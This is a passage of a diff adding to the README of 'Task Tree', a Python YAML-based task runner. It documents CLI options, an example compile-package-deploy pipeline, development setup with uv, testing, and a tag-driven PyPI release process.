925
+ - Explicit inputs (tracked by timestamp, not definition)
926
+
927
+ ### Automatic Cleanup
928
+
929
+ At the start of each invocation, state is checked for invalid task hashes and non-existent ones are automatically removed. Delete a task from your recipe file and its state disappears the next time you run `tt <cmd>`
930
+
931
+ ## Command-Line Options
932
+
933
+ Task Tree provides several command-line options for controlling task execution:
934
+
935
+ ### Execution Control
936
+
937
+ ```bash
938
+ # Force re-run (ignore freshness checks)
939
+ tt --force build
940
+ tt -f build
941
+
942
+ # Run only the specified task, skip dependencies (implies --force)
943
+ tt --only deploy
944
+ tt -o deploy
945
+
946
+ # Override environment for all tasks
947
+ tt --env python analyze
948
+ tt -e powershell build
949
+ ```
950
+
951
+ ### Information Commands
952
+
953
+ ```bash
954
+ # List all available tasks
955
+ tt --list
956
+ tt -l
957
+
958
+ # Show detailed task definition
959
+ tt --show build
960
+
961
+ # Show dependency tree (without execution)
962
+ tt --tree deploy
963
+
964
+ # Show version
965
+ tt --version
966
+ tt -v
967
+
968
+ # Create a blank recipe file
969
+ tt --init
970
+ ```
971
+
972
+ ### State Management
973
+
974
+ ```bash
975
+ # Remove state file (reset task cache)
976
+ tt --clean
977
+ tt --clean-state
978
+ tt --reset
979
+ ```
980
+
981
+ ### Common Workflows
982
+
983
+ ```bash
984
+ # Fresh build of everything
985
+ tt --force build
986
+
987
+ # Run a task without rebuilding dependencies
988
+ tt --only test
989
+
990
+ # Test with a different shell/environment
991
+ tt --env python test
992
+
993
+ # Force rebuild and deploy
994
+ tt --force deploy production
995
+ ```
996
+
997
+ ## Example: Full Build Pipeline
998
+
999
+ ```yaml
1000
+ imports:
1001
+ - file: common/docker.yml
1002
+ as: docker
1003
+
1004
+ tasks:
1005
+ compile:
1006
+ desc: Build application binaries
1007
+ outputs: [target/release/app]
1008
+ cmd: cargo build --release
1009
+
1010
+ test-unit:
1011
+ desc: Run unit tests
1012
+ deps: [compile]
1013
+ cmd: cargo test
1014
+
1015
+ package:
1016
+ desc: Create distribution archive
1017
+ deps: [compile]
1018
+ outputs: [dist/app-{{ arg.version }}.tar.gz]
1019
+ args: [version]
1020
+ cmd: |
1021
+ mkdir -p dist
1022
+ tar czf dist/app-{{ arg.version }}.tar.gz \
1023
+ target/release/app \
1024
+ config/ \
1025
+ migrations/
1026
+
1027
+ deploy:
1028
+ desc: Deploy to environment
1029
+ deps: [package, docker.build-runtime]
1030
+ args: [environment, version]
1031
+ cmd: |
1032
+ scp dist/app-{{ arg.version }}.tar.gz {{ env.DEPLOY_USER }}@{{ arg.environment }}:/opt/
1033
+ ssh {{ env.DEPLOY_USER }}@{{ arg.environment }} /opt/deploy.sh {{ arg.version }}
1034
+
1035
+ integration-test:
1036
+ desc: Run integration tests against deployed environment
1037
+ deps: [deploy]
1038
+ args: [environment, version]
1039
+ cmd: pytest tests/integration/ --env={{ arg.environment }}
1040
+ ```
1041
+
1042
+ Run the full pipeline:
1043
+
1044
+ ```bash
1045
+ export DEPLOY_USER=admin
1046
+ tt integration-test staging version=1.2.3
1047
+ ```
1048
+
1049
+ This will:
1050
+ 1. Compile if sources have changed
1051
+ 2. Run unit tests if compilation ran
1052
+ 3. Package if compilation ran or version argument is new
1053
+ 4. Build Docker runtime (from imported file) if needed
1054
+ 5. Deploy if package or Docker image changed
1055
+ 6. Run integration tests (always runs)
1056
+
1057
+ ## Implementation Notes
1058
+
1059
+ Built with Python 3.11+ using:
1060
+
1061
+ - **PyYAML** for recipe parsing
1062
+ - **Typer**, **Click**, **Rich** for CLI
1063
+ - **graphlib.TopologicalSorter** for dependency resolution
1064
+ - **pathlib** for file operations and glob expansion
1065
+
1066
+ State file uses JSON format for simplicity and standard library compatibility.
1067
+
1068
+ ## Development
1069
+
1070
+ ### Setup Development Environment
1071
+
1072
+ ```bash
1073
+ # Clone repository
1074
+ git clone https://github.com/kevinchannon/task-tree.git
1075
+ cd tasktree
1076
+
1077
+ # Install uv (if not already installed)
1078
+ curl -LsSf https://astral.sh/uv/install.sh | sh
1079
+
1080
+ # Install dependencies
1081
+ uv sync
1082
+
1083
+ # Install in editable mode
1084
+ pipx install -e .
1085
+ ```
1086
+
1087
+ ### Running Tests
1088
+
1089
+ ```bash
1090
+ # Run all tests
1091
+ uv run pytest
1092
+
1093
+ # Run with verbose output
1094
+ uv run pytest -v
1095
+
1096
+ # Run specific test file
1097
+ uv run pytest tests/unit/test_executor.py
1098
+ ```
1099
+
1100
+ ### Using Task Tree for Development
1101
+
1102
+ The repository includes a `tasktree.yaml` with development tasks:
1103
+
1104
+ ```bash
1105
+ tt test # Run tests
1106
+ tt build # Build wheel package
1107
+ tt install-dev # Install package in development mode
1108
+ tt clean # Remove build artifacts
1109
+ ```
1110
+
1111
+ ## Releasing
1112
+
1113
+ New releases are created by pushing version tags to GitHub. The release workflow automatically:
1114
+ - Builds wheel and source distributions
1115
+ - Creates a GitHub Release with artifacts
1116
+ - Publishes to PyPI via trusted publishing
1117
+
1118
+ ### Release Process
1119
+
1120
+ 1. Ensure main branch is ready:
1121
+ ```bash
1122
+ git checkout main
1123
+ git pull
1124
+ ```
1125
+
1126
+ 2. Create and push a version tag:
1127
+ ```bash
1128
+ git tag v1.0.0
1129
+ git push origin v1.0.0
1130
+ ```
1131
+
1132
+ 3. GitHub Actions will automatically:
1133
+ - Extract version from tag (e.g., `v1.0.0` → `1.0.0`)
1134
+ - Update `pyproject.toml` with the version
1135
+ - Build wheel and sdist
1136
+ - Create GitHub Release
1137
+ - Publish to PyPI
1138
+
1139
+ 4. Verify the release:
1140
+ - GitHub: https://github.com/kevinchannon/task-tree/releases
1141
+ - PyPI: https://pypi.org/kevinchannon/tasktree/
1142
+ - Test: `pipx install --force tasktree`
1143
+
1144
+ ### Version Numbering
1145
+
1146
+ Follow semantic versioning:
1147
+ - `v1.0.0` - Major release (breaking changes)
1148
+ - `v1.1.0` - Minor release (new features, backward compatible)
1149
+ - `v1.1.1` - Patch release (bug fixes)